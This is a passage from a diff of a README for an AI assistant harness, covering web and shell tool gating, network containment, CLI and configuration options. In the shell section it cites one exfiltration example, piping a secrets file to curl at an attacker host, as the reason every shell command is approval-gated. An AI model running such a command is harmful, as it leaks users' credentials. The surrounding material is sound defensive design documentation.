"Checkpointing and resume" above describes) and resumed by ID, never by asking the model to guess
|
|
364
|
+
again. If more than 4 questions are genuinely material at once, the caller that raised the
|
|
365
|
+
escalation batches the top 4 and defers the rest — a deferred question only comes back as a
|
|
366
|
+
follow-up `needs_clarification` batch if it's still unresolved once the first batch's answers are
|
|
367
|
+
folded in, resolved through this exact same path.
|
|
368
|
+
|
|
369
|
+
Two kinds of sites can raise a `questions` batch: the Trajectory Supervisor's `ASK_USER` directive
|
|
370
|
+
(see `docs/adr/005-trajectory-supervisor.md` — currently inert by default, since
|
|
371
|
+
`HARNESS_TRAJECTORY_SUPERVISOR` stays off) and a handful of deterministic sites with a genuinely
|
|
372
|
+
enumerable option set, e.g. a batch-research budget running out ("continue with N more steps" /
|
|
373
|
+
"stop and summarize" / "let me clarify the goal"). A site with no discrete option set keeps
|
|
374
|
+
today's plain `missing_info` halt unchanged — this mechanism never forces a multiple-choice
|
|
375
|
+
question where the honest answer is open-ended.
|
|
376
|
+
|
|
377
|
+
**Enabling it.** Off by default (`askMode: 'disabled'`, matching `DEFAULT_ASK_MODE` in
|
|
378
|
+
`ask-mode-flag.ts`) — with it off, every escalation stays on today's plain `escalated`/
|
|
379
|
+
`reply: null` path, byte-for-byte. Turn on with the `ASSISTANT_ASK_MODE=enabled` env var,
|
|
380
|
+
`/config set askMode enabled` in the CLI, `VITE_ASSISTANT_ASK_MODE=enabled` at chat-ui's build
|
|
381
|
+
time, or a per-`turn()` `{ askMode: 'enabled' }` override — following `oneLoopMode`'s exact
|
|
382
|
+
env/build-time/per-call chain. The effective mode is always the most restrictive of (global
|
|
383
|
+
config, per-session override, per-call-site opt-out): a narrower scope can turn structured
|
|
384
|
+
questions off even when a broader one left them on, never the reverse. See
|
|
385
|
+
`docs/adr/006-generic-ask-question-mechanism.md` for the full design and why the default hasn't
|
|
386
|
+
flipped to `'enabled'` yet — the mechanism and its conformance suite are done, but the benchmark
|
|
387
|
+
run that would justify the flip hasn't happened.
|
|
388
|
+
|
|
389
|
+
## Web access via tools
|
|
390
|
+
|
|
391
|
+
`web_search`/`fetch_url` are read-only — same trust tier as `read_file`/
|
|
392
|
+
`list_directory` — so both execute for real immediately, with **no human
|
|
393
|
+
approval step**, via a `webTools` option. "No human approval" doesn't mean
|
|
394
|
+
unchecked: every read-only call, on either backend, is checked against a
|
|
395
|
+
live, turn-scoped `ControlState` (deterministic ALLOW/DENY/REQUIRE_APPROVAL,
|
|
396
|
+
built from how earlier tool calls the same turn went) before it runs — a
|
|
397
|
+
developing failure pattern can trip a real deny mid-turn. On the proxy
|
|
398
|
+
backend this happens directly in `AgentLoop.runToolIterations`
|
|
399
|
+
(`checkToolPolicy()` → `tool-policy.ts`'s `evaluateToolPolicy()`); on the
|
|
400
|
+
claude-cli backend, where tool calls would otherwise resolve invisibly
|
|
401
|
+
inside the `claude` subprocess, `ClaudeCliLLMClient`'s `startToolGateServer()`
|
|
402
|
+
opens an ephemeral loopback socket before each `callChatStructured` call and
|
|
403
|
+
the MCP server's `requestToolGate()` blocks on it before executing — a deny
|
|
404
|
+
comes back as an MCP tool error the model sees in its own conversation, and
|
|
405
|
+
both sides fail *open* (allow), never closed, on a dead connection or an
|
|
406
|
+
unparseable response. `write_file`/`run_shell_command`/`send_email` are
|
|
407
|
+
untouched by this mechanism — they keep staging unconditionally, as below.
|
|
408
|
+
|
|
409
|
+
```ts
|
|
410
|
+
const assistant = new PersonalAssistant({
|
|
411
|
+
llmClient,
|
|
412
|
+
webTools: { search: (query) => braveSearch(query, apiKey) }, // any WebSearchResult[]-returning function
|
|
413
|
+
})
|
|
414
|
+
```
|
|
415
|
+
|
|
416
|
+
`WebToolsContext.search` has no built-in default (the caller supplies a real
|
|
417
|
+
backend, an API client, etc.) — `web-search-provider.ts` ships a ready-made
|
|
418
|
+
one, wired in by the CLI when `ASSISTANT_ENABLE_WEB=1` is set (on the
|
|
419
|
+
`claude-cli` backend the same one runs inside the file-tools MCP server, since
|
|
420
|
+
that backend's tools can't take an injected function):
|
|
421
|
+
|
|
422
|
+
- `braveSearch` — queries the [Brave Search API](https://api.search.brave.com/app/keys),
|
|
423
|
+
the only backend this app offers. Requires `BRAVE_SEARCH_API_KEY` (see
|
|
424
|
+
below). A prior keyless DuckDuckGo-HTML-scraping backend was removed:
|
|
425
|
+
DuckDuckGo's HTML endpoint resets the TLS connection outright for any
|
|
426
|
+
non-browser client — a block beneath the HTTP layer no request header or
|
|
427
|
+
retry can work around.
|
|
428
|
+
|
|
429
|
+
Both `web_search` and `fetch_url` results are wrapped in
|
|
430
|
+
`<untrusted_external_content>` (with a warning prefix if a regex heuristic
|
|
431
|
+
flags instruction-shaped text) before they reach the model — see
|
|
432
|
+
`trust-tagging.ts` — since this is content the assistant does not vouch for.
|
|
433
|
+
|
|
434
|
+
**`fetch_url` refuses to fetch a private, loopback, or link-local network
|
|
435
|
+
target.** Before issuing any request it resolves the target hostname and
|
|
436
|
+
rejects loopback/RFC1918-private/link-local/cloud-metadata addresses
|
|
437
|
+
(`169.254.169.254` included) — re-checked on every redirect hop, since a public
|
|
438
|
+
URL can 302 to a private one. A blocked target raises a `PrivateNetworkTargetError`,
|
|
439
|
+
reported back to the model as a tool error, never a silent no-op. This is a
|
|
440
|
+
DNS-resolution-based application check, not a network-level policy — not a
|
|
441
|
+
substitute for a network-isolated environment if that's a hard requirement.
|
|
442
|
+
|
|
443
|
+
Independent of `fileTools`/`shellTools` — a caller can enable web access
|
|
444
|
+
without ever exposing the filesystem or shell.
|
|
445
|
+
|
|
446
|
+
## Batch research budget
|
|
447
|
+
|
|
448
|
+
The flat `maxSteps` cap that governs an ordinary chat turn (see below) doesn't
|
|
449
|
+
know the difference between a one-question turn and a turn asking for the same
|
|
450
|
+
lookup across many items — a 7-item batch and a 1-item question get the same
|
|
451
|
+
budget. When `webTools` is configured, a message is *also* checked against
|
|
452
|
+
`detectHomogeneousBatchList` (`batch-list-detector.ts`) before the flat loop
|
|
453
|
+
starts: a syntactically explicit list — newline/bullet/numbered lines, ≥3
|
|
454
|
+
qualifying entries, name-shaped content (a capitalization-ratio heuristic, not
|
|
455
|
+
an LLM call) — routes the turn through a separate, self-calibrating budget
|
|
456
|
+
instead. Anything else (open-ended discovery, free-text comma-enumeration, a
|
|
457
|
+
list already mid-`HarnessRuntime` plan run) falls straight through to the flat
|
|
458
|
+
loop, unchanged.
|
|
459
|
+
|
|
460
|
+
Once triggered, `runBatchToolLoop` resolves each item in **its own bounded
|
|
461
|
+
sub-loop**, never a shared pool:
|
|
462
|
+
|
|
463
|
+
- **Probe phase** — the first 1–2 items (whichever leaves at least one item
|
|
464
|
+
unprobed) resolve against a generous fixed cap, and their real cost
|
|
465
|
+
calibrates a per-item budget (`trimmedAverage` of calls-per-item, floored so
|
|
466
|
+
one suspiciously cheap item can't starve the rest, with slack headroom on
|
|
467
|
+
top) for every item after them — recalibrated again after each one resolves,
|
|
468
|
+
not frozen at the initial estimate.
|
|
469
|
+
- **Per-item dead-end window** — each item tracks its own trailing window of
|
|
470
|
+
`classifyToolYield` results (`tool-yield-classifier.ts`); 3 consecutive
|
|
471
|
+
`dead_end` tool results stop *that item's* sub-loop early (`not_found`)
|
|
472
|
+
without touching its remaining budget, and without dragging down any other
|
|
473
|
+
item queued behind it. An item whose budget runs out while still turning up
|
|
474
|
+
plausibly-relevant content is recorded as `truncated_while_productive`
|
|
475
|
+
instead — a different, more informative outcome than a dead page.
|
|
476
|
+
- **Confirmation gate** — if the calibrated projection for the remaining items
|
|
477
|
+
is large, the turn pauses with `pendingActionKind: 'batch'` (same
|
|
478
|
+
`needs_approval` shape as a staged write/shell command) before spending it,
|
|
479
|
+
rather than silently running up the tool-call count.
|
|
480
|
+
- **Absolute ceiling** — a hard per-turn cap on total tool calls applies
|
|
481
|
+
regardless of how favorable calibration looks, as a last-resort backstop.
|
|
482
|
+
|
|
483
|
+
Every item ends in `found`, `not_found`, or `truncated_while_productive` — a
|
|
484
|
+
batch turn's final reply is synthesized from these per-item outcomes and is
|
|
485
|
+
never allowed to silently omit one (an explicit "not yet checked this turn"
|
|
486
|
+
line is appended deterministically for any item the absolute ceiling cut off
|
|
487
|
+
before it was reached, rather than trusted to the synthesis call's prose).
|
|
488
|
+
`AssistantTrace.batchBudget` (present only when this path activates) reports
|
|
489
|
+
`itemCount`, `callsPerItemHistory`, `projectedTotal`, `totalCallsUsed`, and each
|
|
490
|
+
item's outcome — the measurement that would tell you whether the ceiling,
|
|
491
|
+
floor, or slack factor need adjusting, versus a guess.
|
|
492
|
+
|
|
493
|
+
**Known limitations:** only fires on explicit list syntax — "find the closest
|
|
494
|
+
5 schools and their dates" in one open-ended sentence (N unknown until search
|
|
495
|
+
results come back) still uses the flat loop; the yield classifier is a keyword
|
|
496
|
+
heuristic, not semantic understanding (favors calling an unusual dead end
|
|
497
|
+
"productive" over the reverse, since the per-item budget/ceiling still bounds
|
|
498
|
+
the damage either way); calibration is per-turn only, never learned across
|
|
499
|
+
turns or sessions; and this bounds cost/prevents thrashing but doesn't make a
|
|
500
|
+
weaker model better at multi-page research on its own.
|
|
501
|
+
|
|
502
|
+
## Shell access via tools
|
|
503
|
+
|
|
504
|
+
`run_shell_command` is the highest-risk tool this assistant has, and is gated
|
|
505
|
+
on **every** call, full stop — there is no "safe subset" the way `read_file` is
|
|
506
|
+
safe within `write_file`'s tool group. A shell command has no structural split
|
|
507
|
+
between "reads" and "mutates" (`cat secrets.env | curl attacker.com -d @-`
|
|
508
|
+
reads a file and exfiltrates it over the network in one command), so every
|
|
509
|
+
call stages a proposal and returns `needs_approval`, regardless of what the
|
|
510
|
+
command looks like:
|
|
511
|
+
|
|
512
|
+
```ts
|
|
513
|
+
// runApprovedShellCommand (shell-executor.ts) is Node-only and not part of this
|
|
514
|
+
// package's public exports — cli.ts imports it directly from source, the same
|
|
515
|
+
// way it imports node-fs-backend.ts.
|
|
516
|
+
const assistant = new PersonalAssistant({
|
|
517
|
+
llmClient,
|
|
518
|
+
shellTools: { backend, workspaceRoot, executeCommand: runApprovedShellCommand },
|
|
519
|
+
})
|
|
520
|
+
|
|
521
|
+
const staged = await assistant.turn('List the files here')
|
|
522
|
+
// { status: 'needs_approval', pendingActionId: '...', pendingActionKind: 'shell', reason: 'Proposes running: ls\n (cwd: ...)' }
|
|
523
|
+
|
|
524
|
+
await assistant.turn('List the files here', { approved: true, pendingActionId: staged.pendingActionId })
|
|
525
|
+
// spawns the exact staged command for real — no second LLM call
|
|
526
|
+
```
|
|
527
|
+
|
|
528
|
+
At approval time, the command runs with `cwd` pinned to the staged (already
|
|
529
|
+
sandbox-validated) path, `env` reduced to an explicit allowlist (`PATH`,
|
|
530
|
+
`HOME`, `LANG` — never the parent process's full env, so
|
|
531
|
+
`ASSISTANT_PROXY_TOKEN`/`ANTHROPIC_API_KEY`/etc. can't leak into the command),
|
|
532
|
+
a hard timeout (default 30s, `ASSISTANT_SHELL_TIMEOUT_MS`) that `SIGKILL`s the
|
|
533
|
+
whole process group on expiry, and combined stdout+stderr truncated to a byte
|
|
534
|
+
cap (default 20KB). A non-zero exit code is reported normally, not thrown —
|
|
535
|
+
only a rejected `cwd` or a spawn failure throws.
|
|
536
|
+
|
|
537
|
+
**Network containment (`ASSISTANT_SHELL_NETWORK_ALLOWLIST`):** the spawned
|
|
538
|
+
command's `HTTP_PROXY`/`HTTPS_PROXY` env vars are forced to point at a
|
|
539
|
+
loopback-only proxy (`network-containment.ts`) that only relays a request
|
|
540
|
+
whose target host matches an entry in `shellNetworkAllowlist` (exact match or
|
|
541
|
+
subdomain — comma-separated hostnames via the env var, e.g.
|
|
542
|
+
`ASSISTANT_SHELL_NETWORK_ALLOWLIST=api.example.com,registry.npmjs.org`).
|
|
543
|
+
**Undefined/empty denies all network access** from an approved shell
|
|
544
|
+
command — the safe default, since no host is a legitimate target until the
|
|
545
|
+
user opts one in. This is a Node-level restriction, not an OS sandbox: it
|
|
546
|
+
stops any tool that honors proxy env vars (`curl`, `wget`, most language HTTP
|
|
547
|
+
clients) from reaching a non-allowlisted host, but does **not** stop a tool
|
|
548
|
+
that opens raw sockets and ignores those env vars entirely. That tradeoff —
|
|
549
|
+
weaker than real OS-native sandboxing (Linux seccomp/landlock, macOS
|
|
550
|
+
`sandbox-exec`, Windows job objects) or a container-per-command, but
|
|
551
|
+
identical across the CLI and the Tauri desktop app with no new dependency —
|
|
552
|
+
is deliberate; see `plans/lexical_functions_hardening_plan.html`'s Decision 6
|
|
553
|
+
for the full comparison.
|
|
554
|
+
|
|
555
|
+
**The command's output gets the same trust boundary as `fetch_url`/`web_search`.**
|
|
556
|
+
Once approved, stdout+stderr is wrapped in `<untrusted_external_content>` (with
|
|
557
|
+
the same injection-heuristic warning prefix — see `trust-tagging.ts`) before
|
|
558
|
+
it's saved into the transcript: a command like `cat some-fetched-page.html` can
|
|
559
|
+
carry the same injection-shaped text a fetched web page can, and that reply
|
|
560
|
+
becomes conversation history a later turn could otherwise misread as
|
|
561
|
+
instructions.
|
|
562
|
+
|
|
563
|
+
`executeCommand` is a required, injected function rather than something
|
|
564
|
+
`shell-tools.ts` implements itself: `assistant.ts` is bundled into the browser
|
|
565
|
+
build (via `index.ts`) as well as the CLI, so it never imports
|
|
566
|
+
`node:child_process` directly. The real `child_process.spawn`-based
|
|
567
|
+
implementation lives in `shell-executor.ts` (mirrors `node-fs-backend.ts` —
|
|
568
|
+
deliberately not exported from this package's index; only `cli.ts` imports it).
|
|
569
|
+
|
|
570
|
+
On the Claude CLI backend, `run_shell_command` is never a Claude Code built-in:
|
|
571
|
+
`ClaudeCliLLMClient` never adds `Bash` to `--tools` under any configuration
|
|
572
|
+
(there's a unit test asserting this as a hard invariant) — instead it's served
|
|
573
|
+
by the same MCP server as the file tools, gated behind `ENABLE_SHELL_TOOLS=1`,
|
|
574
|
+
which only stages (never executes), exactly like `write_file`.
|
|
575
|
+
|
|
576
|
+
**Known limitations:** no persistent shell session (each approved command runs
|
|
577
|
+
in its own fresh subprocess — a `cd` inside one command doesn't affect the
|
|
578
|
+
next); no streaming output (only available after the process exits or times
|
|
579
|
+
out). Shell access is opt-in and off by default — enabling it is a real trust
|
|
580
|
+
decision this plan makes *safe*, not *risk-free*.
|
|
581
|
+
|
|
582
|
+
## CLI
|
|
583
|
+
|
|
584
|
+
```bash
|
|
585
|
+
ASSISTANT_PROXY_URL=http://localhost:8787 ASSISTANT_PROXY_TOKEN=... npm run cli --workspace=packages/aielia
|
|
586
|
+
```
|
|
587
|
+
|
|
588
|
+
Set `ASSISTANT_WORKSPACE_DIR` to sandbox the file tools to a specific directory
|
|
589
|
+
(defaults to the CLI's current working directory, mirroring how `claude` itself
|
|
590
|
+
defaults to the launch directory):
|
|
591
|
+
|
|
592
|
+
```bash
|
|
593
|
+
ASSISTANT_WORKSPACE_DIR=/path/to/workspace npm run cli --workspace=packages/aielia
|
|
594
|
+
```
|
|
595
|
+
|
|
596
|
+
When the model calls `write_file`, the CLI prints the proposed path and a
|
|
597
|
+
content preview and asks for confirmation before the turn is resumed with
|
|
598
|
+
`{ approved, pendingActionId }` — declining discards the staged write; nothing
|
|
599
|
+
is ever written without an explicit yes. A `run_shell_command` call is shown
|
|
600
|
+
the same way, printing the exact command and resolved `cwd` instead.
|
|
601
|
+
|
|
602
|
+
Set `ASSISTANT_ENABLE_WEB=1` (plus `BRAVE_SEARCH_API_KEY`) to give the model
|
|
603
|
+
real `web_search`/`fetch_url` tools (no approval needed — see "Web access via
|
|
604
|
+
tools" above) and `ASSISTANT_ENABLE_SHELL=1` to give it a real, approval-gated
|
|
605
|
+
`run_shell_command` tool scoped to `ASSISTANT_WORKSPACE_DIR`. Both are off by
|
|
606
|
+
default; `ASSISTANT_ENABLE_SHELL` must be exactly `"1"` (a stray
|
|
607
|
+
`ASSISTANT_ENABLE_SHELL=0` left in an env file does not enable it). Optional
|
|
608
|
+
`ASSISTANT_SHELL_TIMEOUT_MS` (default 30000) tunes the shell timeout:
|
|
609
|
+
|
|
610
|
+
```bash
|
|
611
|
+
ASSISTANT_ENABLE_WEB=1 ASSISTANT_ENABLE_SHELL=1 npm run cli --workspace=packages/aielia
|
|
612
|
+
```
|
|
613
|
+
|
|
614
|
+
The startup banner only mentions a capability when it's actually enabled —
|
|
615
|
+
nothing implies web/shell access is available when neither env var is set.
|
|
616
|
+
`ASSISTANT_ENABLE_WEB` now works on both backends: the proxy backend calls the
|
|
617
|
+
injected search function directly, and the Claude CLI backend registers
|
|
618
|
+
`web_search` on its file-tools MCP server — both need `BRAVE_SEARCH_API_KEY`
|
|
619
|
+
set, since Brave Search is the only backend (see below).
|
|
620
|
+
|
|
621
|
+
#### `--dangerously-skip-permissions` equivalent
|
|
622
|
+
|
|
623
|
+
Set `ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS=1` (or `/config set
|
|
624
|
+
dangerouslySkipPermissions true`) to skip *every* approval prompt automatically
|
|
625
|
+
— the message-level risk gate (a HIGH-risk message like "send an email...")
|
|
626
|
+
and `write_file`/`run_shell_command`'s per-call staging both resolve as if you
|
|
627
|
+
had already said yes. Off by default, and named to match Claude Code's own
|
|
628
|
+
flag: it is exactly as dangerous as it sounds — a proposed shell command or
|
|
629
|
+
file write executes with zero chance to review it first. The underlying
|
|
630
|
+
sandboxing (workspace-root path scoping, the shell env allowlist, output
|
|
631
|
+
truncation, the timeout) is unaffected; this only skips the ask, never the
|
|
632
|
+
limits underneath it. The startup banner switches shell's capability label
|
|
633
|
+
from "approval-gated" to "NOT approval-gated" and prints an extra `⚠` line
|
|
634
|
+
whenever this is on, so it's never silently in effect.
|
|
635
|
+
|
|
636
|
+
#### Non-interactive / scripted use
|
|
637
|
+
|
|
638
|
+
Piping input into the CLI (`echo "..." | npm run cli ...`, or any non-TTY stdin)
|
|
639
|
+
used to hit an approval gate as an *incidental* consequence of `readline`
|
|
640
|
+
eagerly draining and closing piped stdin before a slow turn reaches the
|
|
641
|
+
prompt: `rl.question()` throws, the fail-closed catch logs a generic
|
|
642
|
+
`[could not read a response — treating as declined]`, and the turn is
|
|
643
|
+
declined. That fail-closed outcome was always correct, but it read as
|
|
644
|
+
something to be rediscovered by piping input at it rather than a documented
|
|
645
|
+
decision. `ASSISTANT_NON_INTERACTIVE_APPROVAL` makes it explicit:
|
|
646
|
+
|
|
647
|
+
- `ASSISTANT_NON_INTERACTIVE_APPROVAL=decline` — every approval gate
|
|
648
|
+
auto-declines immediately, without ever touching stdin. The right choice
|
|
649
|
+
for scripted/CI use where every HIGH-risk or staged write/shell action
|
|
650
|
+
should always be rejected outright:
|
|
651
|
+
|
|
652
|
+
```bash
|
|
653
|
+
ASSISTANT_NON_INTERACTIVE_APPROVAL=decline npm run cli --workspace=packages/aielia < script.txt
|
|
654
|
+
```
|
|
655
|
+
|
|
656
|
+
- `ASSISTANT_NON_INTERACTIVE_APPROVAL=require-tty` — fails fast at startup
|
|
657
|
+
with a clear error if stdin isn't a real TTY, instead of running an entire
|
|
658
|
+
session that can only discover the problem deep in, at the first approval
|
|
659
|
+
prompt.
|
|
660
|
+
|
|
661
|
+
Leaving it unset keeps today's behavior (interactive prompt on a real TTY,
|
|
662
|
+
fail-closed decline on piped stdin) exactly as before — this only makes the
|
|
663
|
+
piped-stdin case an intentional choice instead of an implicit one. An
|
|
664
|
+
unrecognized value is ignored, with a startup warning, rather than silently
|
|
665
|
+
picking one of the two behaviors for you.
|
|
666
|
+
|
|
667
|
+
#### Web search needs a Brave Search API key
|
|
668
|
+
|
|
669
|
+
Brave Search is the only backend `web_search` supports. Enable web tools with
|
|
670
|
+
`ASSISTANT_ENABLE_WEB=1` and supply `BRAVE_SEARCH_API_KEY` (get one at
|
|
671
|
+
[api.search.brave.com/app/keys](https://api.search.brave.com/app/keys)):
|
|
672
|
+
|
|
673
|
+
```bash
|
|
674
|
+
ASSISTANT_ENABLE_WEB=1 BRAVE_SEARCH_API_KEY=your-key \
|
|
675
|
+
npm run cli --workspace=packages/aielia
|
|
676
|
+
```
|
|
677
|
+
|
|
678
|
+
If `ASSISTANT_ENABLE_WEB=1` is set without `BRAVE_SEARCH_API_KEY`, the CLI
|
|
679
|
+
fails fast at startup with an error rather than silently registering a
|
|
680
|
+
non-functional `web_search`. The active state is shown in the startup banner
|
|
681
|
+
(`web search/fetch (brave)`). `braveApiKey` can also be set from inside a
|
|
682
|
+
running session with `/config set` instead of an env var — see
|
|
683
|
+
"Configuration" below.
|
|
684
|
+
|
|
685
|
+
Set `ASSISTANT_LLM_BACKEND=claude-cli` to skip the proxy entirely and run turns
|
|
686
|
+
through a local `claude -p` subprocess instead, using your already-authenticated
|
|
687
|
+
Claude Code CLI session rather than an API key (`CLAUDE_PATH` overrides the
|
|
688
|
+
`claude` binary path if it's not on `PATH`):
|
|
689
|
+
|
|
690
|
+
```bash
|
|
691
|
+
ASSISTANT_LLM_BACKEND=claude-cli npm run cli --workspace=packages/aielia
|
|
692
|
+
```
|
|
693
|
+
|
|
694
|
+
Or skip both the proxy and claude-cli and call a provider directly with your
|
|
695
|
+
own API key — `ASSISTANT_LLM_BACKEND=anthropic|openai|openrouter` plus
|
|
696
|
+
`ASSISTANT_API_KEY`:
|
|
697
|
+
|
|
698
|
+
```bash
|
|
699
|
+
ASSISTANT_LLM_BACKEND=anthropic ASSISTANT_API_KEY=sk-ant-... \
|
|
700
|
+
npm run cli --workspace=packages/aielia
|
|
701
|
+
|
|
702
|
+
ASSISTANT_LLM_BACKEND=openai ASSISTANT_API_KEY=sk-... \
|
|
703
|
+
npm run cli --workspace=packages/aielia
|
|
704
|
+
|
|
705
|
+
ASSISTANT_LLM_BACKEND=openrouter ASSISTANT_API_KEY=sk-or-... \
|
|
706
|
+
npm run cli --workspace=packages/aielia
|
|
707
|
+
```
|
|
708
|
+
|
|
709
|
+
These three go straight from this process to the provider's own API
|
|
710
|
+
(`AnthropicLLMClient`/`OpenAICompatibleLLMClient` in `@buildaharness/runtime`)
|
|
711
|
+
— no proxy deployment needed, but unlike `authToken` (a self-hosted proxy's
|
|
712
|
+
own bearer token), `ASSISTANT_API_KEY`/`apiKey` is a *real* provider key.
|
|
713
|
+
It's stored the same way as every other secret field here — plaintext in
|
|
714
|
+
`config.json`, not an OS keychain — so treat that file accordingly. When
|
|
715
|
+
`ASSISTANT_MODEL`/`/config set model` isn't set, each backend falls back to the
|
|
716
|
+
current-generation default id exported from `@buildaharness/runtime`'s
|
|
717
|
+
`model-defaults.ts` (`openai` → `gpt-5-mini`, `openrouter` →
|
|
718
|
+
`anthropic/claude-sonnet-5`, `anthropic` and `proxy` → `claude-sonnet-5`).
|
|
719
|
+
|
|
720
|
+
Transcript, learned experience, reminders, and any in-flight turn's checkpoint
|
|
721
|
+
persist as real files under `~/.buildaharness/personal-assistant/`
|
|
722
|
+
(`transcripts/`, `experience/`, `reminders/`, `checkpoints/`), so conversation
|
|
723
|
+
history and learning survive between runs — quit and restart the CLI and it
|
|
724
|
+
remembers.
|
|
725
|
+
|
|
726
|
+
## Configuration
|
|
727
|
+
|
|
728
|
+
Every env var documented above (`ASSISTANT_ENABLE_WEB`,
|
|
729
|
+
`BRAVE_SEARCH_API_KEY`, `ASSISTANT_ENABLE_SHELL`, `ASSISTANT_SHELL_TIMEOUT_MS`,
|
|
730
|
+
`ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS`, `ASSISTANT_LLM_BACKEND`,
|
|
731
|
+
`ASSISTANT_PROXY_URL`, `ASSISTANT_PROXY_TOKEN`, `ASSISTANT_API_KEY`,
|
|
732
|
+
`ASSISTANT_MODEL`, `ASSISTANT_WORKSPACE_DIR`) keeps working exactly as
|
|
733
|
+
described — nothing here is a breaking change. What's new is a persisted
|
|
734
|
+
settings layer *beneath* those env vars, editable from inside a running CLI
|
|
735
|
+
session with `/config`, so a setting survives across runs without needing an
|
|
736
|
+
env var set every time:
|
|
737
|
+
|
|
738
|
+
```
|
|
739
|
+
you> /config
|
|
740
|
+
llmBackend proxy
|
|
741
|
+
proxyUrl http://localhost:8787
|
|
742
|
+
authToken (not set)
|
|
743
|
+
apiKey (not set)
|
|
744
|
+
model (not set)
|
|
745
|
+
enableWeb false
|
|
746
|
+
braveApiKey (not set)
|
|
747
|
+
enableShell false
|
|
748
|
+
shellTimeoutMs (not set)
|
|
749
|
+
workspaceRoot (not set)
|
|
750
|
+
dangerouslySkipPermissions false
|
|
751
|
+
|
|
752
|
+
you> /config set enableWeb true
|
|
753
|
+
✗ enableWeb requires braveApiKey to be set (Brave Search is the only backend).
|
|
754
|
+
|
|
755
|
+
you> /config set braveApiKey sk-...
|
|
756
|
+
✓ braveApiKey updated (took effect immediately, no restart needed)
|
|
757
|
+
|
|
758
|
+
you> /config set enableWeb true
|
|
759
|
+
✓ enableWeb updated (took effect immediately, no restart needed)
|
|
760
|
+
|
|
761
|
+
you> /config reset enableWeb
|
|
762
|
+
✓ Reset enableWeb to default
|
|
763
|
+
```
|
|
764
|
+
|
|
765
|
+
- `/config` lists every field's current (resolved) value. A field currently
|
|
766
|
+
pinned by an env var shows `(env-pinned: VAR_NAME)` and cannot be changed
|
|
767
|
+
with `/config set` — unset the env var first.
|
|
768
|
+
- `/config set <key> <value>` validates the change (e.g. `enableWeb true`
|
|
769
|
+
is rejected without a `braveApiKey` already set) before persisting it, then
|
|
770
|
+
rebuilds the running assistant so the change applies to the very next turn —
|
|
771
|
+
no restart needed.
|
|
772
|
+
- `/config reset [key]` clears one persisted key (or, with no key, every
|
|
773
|
+
persisted key), reverting to the env var if still set, or the built-in
|
|
774
|
+
default otherwise.
|
|
775
|
+
|
|
776
|
+
**Precedence**: env var > persisted config > built-in default, evaluated
|
|
777
|
+
independently per field. Settings persist as plain JSON at
|
|
778
|
+
`~/.buildaharness/personal-assistant/config.json` — like the rest of this
|
|
779
|
+
package's persistence, it's a real file, not encrypted, so `authToken` and
|
|
780
|
+
`braveApiKey` are stored in plaintext there. This is the same trust boundary
|
|
781
|
+
the repo's root `.env` already has, not a new one.
|
|
782
|
+
|
|
783
|
+
## REPL commands
|
|
784
|
+
|
|
785
|
+
Type `/help` inside a running CLI session for this list. All of them read or
|
|
786
|
+
change local session/config state — none of them make an LLM call themselves.
|
|
787
|
+
|
|
788
|
+
| Command | What it does |
|
|
789
|
+
|---|---|
|
|
790
|
+
| `/help` | Show this list |
|
|
791
|
+
| `/clear` (alias `/new`) | Start a fresh conversation — deletes this session's transcript, extracted facts, and active plan. Leaves learned reminders/experience untouched (those are durable, cross-conversation learning, not conversation-scoped state) |
|
|
792
|
+
| `/status` | Show the resolved config (model, backend, workspace, enabled capabilities — same as the startup banner) plus this session's transcript length and whether a plan is active |
|
|
793
|
+
| `/export [file]` | Save this session's transcript to a markdown file (default: `assistant-transcript-<timestamp>.md` in the current directory) |
|
|
794
|
+
| `/undo` | Remove the last exchange from conversation history — a completed turn drops both the user message and the reply; a turn still awaiting approval drops just the pending message. Only affects what the model remembers: a real `write_file`/`run_shell_command` effect from that turn is **not** reversed |
|
|
795
|
+
| `/memory` | Show facts learned about you, reminders created so far, and the learning-layer `ExperienceStore`'s real content — every strategy weight, plus the 20 most recently learned decompositions/recovery sequences (newest first), not just counts |
|
|
796
|
+
| `/memory export [file]` | Write the full, unbounded `ExperienceStore` contents (every strategy weight/decomposition/recovery sequence, not the 20-entry preview `/memory` prints) plus facts/reminders to a JSON file (default: `assistant-memory-<timestamp>.json`). Read-only: there's no matching import path, so exported data can't be hand-edited and loaded back in |
|
|
797
|
+
| `/search <query>` | Ranked search over past messages, across every session in this install — a hit is the one message that matched, not the whole session transcript around it. Read-only: never an LLM call or network request. Scoring is tokenized/graduated, not exact-substring-only (see "Conversation history" above), and a query matching nothing returns an explicit "no results" line |
|
|
798
|
+
| `/model [name]` | Show the active model, or switch it — a thin alias over `/config set model <name>` (see "Configuration" above); rejected the same way if `model` is pinned by `ASSISTANT_MODEL` |
|
|
799
|
+
| `/cost` | Show token usage for the last turn and the running session total |
|
|
800
|
+
| `/doctor` | Check proxy reachability (proxy backend) or the `claude` binary (claude-cli backend), plus workspace root and data dir health — no dedicated check yet for the anthropic/openai/openrouter backends, only the backend-agnostic checks run for those |
|
|
801
|
+
| `/why` | Explain the harness path the last turn took (verification confidence + node sequence) |
|
|
802
|
+
| `/sources` | List files/URLs the last turn actually consulted |
|
|
803
|
+
| `/plan` | Show the active structured plan's task status |
|
|
804
|
+
| `/checkpoint [clear]` | Inspect a stuck in-progress harness checkpoint (step, node, failed-resume count so far), or `/checkpoint clear` to discard it — see "Recovering a stuck checkpoint" above. Scoped to just the checkpoint: unlike `/clear`, transcript/facts/plan are untouched |
|
|
805
|
+
|
|
806
|
+
### `/cost` and real vs. estimated dollar figures
|
|
807
|
+
|
|
808
|
+
Token counts are always real, on every backend. The dollar figure attached to
|
|
809
|
+
them is not always the same kind of number:
|
|
810
|
+
|
|
811
|
+
- **claude-cli backend**: `costUsd` comes straight from `claude
|
|
812
|
+
--output-format json`'s own `total_cost_usd` field — real Anthropic
|
|
813
|
+
accounting. It may read `$0` if the underlying `claude` session is
|
|
814
|
+
authenticated against a Pro/Max subscription rather than API billing, in
|
|
815
|
+
which case `$0` does *not* mean "this turn was free" — `/cost`'s output
|
|
816
|
+
says so explicitly.
|
|
817
|
+
- **every other backend** (`proxy`, `anthropic`, `openai`, `openrouter`):
|
|
818
|
+
none of these compute a dollar cost themselves — only the raw token counts
|
|
819
|
+
each provider's response already includes (`@buildaharness/proxy` is a thin
|
|
820
|
+
pass-through, see `packages/proxy/src/forward.ts`; the three direct clients
|
|
821
|
+
in `@buildaharness/runtime` are the same). `/cost` falls back to a small
|
|
822
|
+
